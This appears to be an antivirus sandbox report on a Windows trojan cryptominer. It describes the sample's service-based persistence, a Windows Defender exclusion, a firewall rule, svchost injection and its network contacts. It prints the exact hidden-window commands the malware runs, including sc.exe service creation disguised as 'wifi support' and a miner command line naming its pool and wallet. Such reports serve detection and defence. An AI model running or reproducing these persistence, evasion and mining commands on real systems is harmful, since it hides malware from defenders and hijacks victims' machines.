Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\mwfucsyb] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mwfucsyb] 'ImagePath' = '%WINDIR%\SysWOW64\mwfucsyb\vhqedzin.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\mwfucsyb] 'ImagePath' = '%WINDIR%\SysWOW64\mwfucsyb\vhqedzin.exe'
Creates the following services
- 'mwfucsyb' %WINDIR%\SysWOW64\mwfucsyb\vhqedzin.exe /d"<Full path to file>"
- 'mwfucsyb' %WINDIR%\SysWOW64\mwfucsyb\vhqedzin.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\mwfucsyb' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\vhqedzin.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\vhqedzin.exe to %WINDIR%\syswow64\mwfucsyb\vhqedzin.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'sv####lfheim.top':443
- '17#.#13.115.158':485
- '17#.#13.115.153':421
- '17#.#13.115.154':421
- '17#.#13.115.155':421
- '80.#6.75.4':421
- '17#.#13.115.156':421
- '17#.#13.115.157':421
- 'google.com':80
- 'fa###ool.xyz':10060
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'sv####lfheim.top':443
- '17#.#13.115.158':485
- '17#.#13.115.155':421
- '80.#6.75.4':421
- '17#.#13.115.153':421
- '17#.#13.115.154':421
- '17#.#13.115.157':421
- '17#.#13.115.156':421
- 'fa###ool.xyz':10060
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK sv####lfheim.top
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK google.com
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK fa###ool.xyz
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\mwfucsyb\vhqedzin.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mwfucsyb\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\vhqedzin.exe" %WINDIR%\SysWOW64\mwfucsyb\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create mwfucsyb binPath= "%WINDIR%\SysWOW64\mwfucsyb\vhqedzin.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description mwfucsyb "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start mwfucsyb' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mwfucsyb\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\vhqedzin.exe" %WINDIR%\SysWOW64\mwfucsyb\
- '%WINDIR%\syswow64\sc.exe' create mwfucsyb binPath= "%WINDIR%\SysWOW64\mwfucsyb\vhqedzin.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description mwfucsyb "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start mwfucsyb
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
